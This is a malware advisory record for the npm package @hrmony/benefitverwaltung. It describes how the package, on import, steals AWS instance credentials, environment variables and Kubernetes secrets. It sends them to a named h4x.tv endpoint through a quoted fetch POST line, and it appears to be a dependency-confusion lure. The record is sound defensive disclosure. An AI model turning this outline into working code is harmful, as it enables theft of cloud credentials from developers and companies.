Malicious code in @hrmony/benefitverwaltung (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a567d870fdf9c4fecac3e9fbb009a5b23e4450ea608d416564095680dc5bc4b2) On top-level import, the package's main module POSTs an initial identifying beacon (body {"c53":"hello"}) to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung, then performs three concrete harvest steps and exfiltrates each to the same host: (1) an IMDSv2 request flow against 169.254.169.254 that reads instance identity, enumerates IAM role names under /iam/security-credentials/, and fetches the temporary AWS access key ID, secret access key, and session token for each role; (2) a full enumeration of process.env via Object.entries(process.env) into an envs object; (3) a recursive read of /var/run/secrets/ collecting Kubernetes-mounted service-account tokens and secret files. The collected data is sent via fetch(EXPORTER_URL, {method: 'POST', body: JSON.stringify(...)}). The destination domain h4x.tv is not associated with the @hrmony scope or any legitimate benefit-administration service. The package also declares a runtime dependency on @hrmony/kit-5 ^1.0.0 within its own scope while shipping only exfiltration code as its main, consistent with a dependency-confusion lure targeting an internal @hrmony namespace. ## Source: ghsa-malware (f80eb89dea9e90cc0c617b5ee104b8c0acdccd2ac8110906c11d0d90685ecc52) Any computer that has this package installed or running should be conside
MAL-2026-17257
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17257
@hrmony/benefitverwaltung
Source reference: /affected/0/package/name
- Affected versions
- 1.99.0
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
}
]
}
],
"package": {
"name": "@hrmony/benefitverwaltung",
"purl": "pkg:npm/%40hrmony/benefitverwaltung",
"ecosystem": "npm"
},
"versions": [
"1.99.0"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@hrmony/benefitverwaltung/MAL-2026-17257.json",
"indicators": {
"evidence_files": [
{
"path": "index.js",
"tlsh": "0fb1878542fb0411159f75ab8bbba1079036d1473948addc3f9c63842f4e4edea61bcd",
"sha256": "4d878ab496ea173068deea7c5cf297355cad1378bc5cbf591cab8ccc7c161c29"
},
{
"path": "package.json",
"tlsh": "08e0df108630943346c561e20c9e9467b7628e6b840c7d0833eb201cc66eeb714febae",
"sha256": "8079bcdb134ac57e51d4eeb1ec02c77a65f875fc5d93475c9d14963367f229dc"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "cbfebb75d9f732eef826f441ab356832670477f5",
"sha512_sri": "sha512-B+pP2fAkB8jEGyTZnR4sRLv6TMp7TjHC5fCooXiXWZzr4Tsv6N993x6liopixG21AtUGZrJgJgM+Zro/tCNY6A=="
},
"filename": "benefitverwaltung-1.99.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #29733 · Revision 1
- Added to Heist Feed
- Publisher date